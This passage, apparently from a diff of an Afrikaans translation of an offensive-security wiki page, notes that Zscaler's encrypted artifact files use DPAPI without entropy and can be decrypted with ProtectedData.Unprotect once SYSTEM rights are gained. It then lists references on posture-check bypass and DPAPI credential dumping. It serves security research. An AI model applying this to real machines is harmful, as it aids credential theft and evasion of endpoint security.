> TIP: die ander versleutelde artefakte (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) is beskerm met DPAPI **sonder** entropie (`16` nul bytes). Hulle kan dus direk gedekript word met `ProtectedData.Unprotect` sodra SYSTEM-regte verkry is.
|
||||
|
||||
## References
|
||||
|
||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||
|
||||
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
|
||||
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
|
||||
|
Loading…
x
Reference in New Issue
Block a user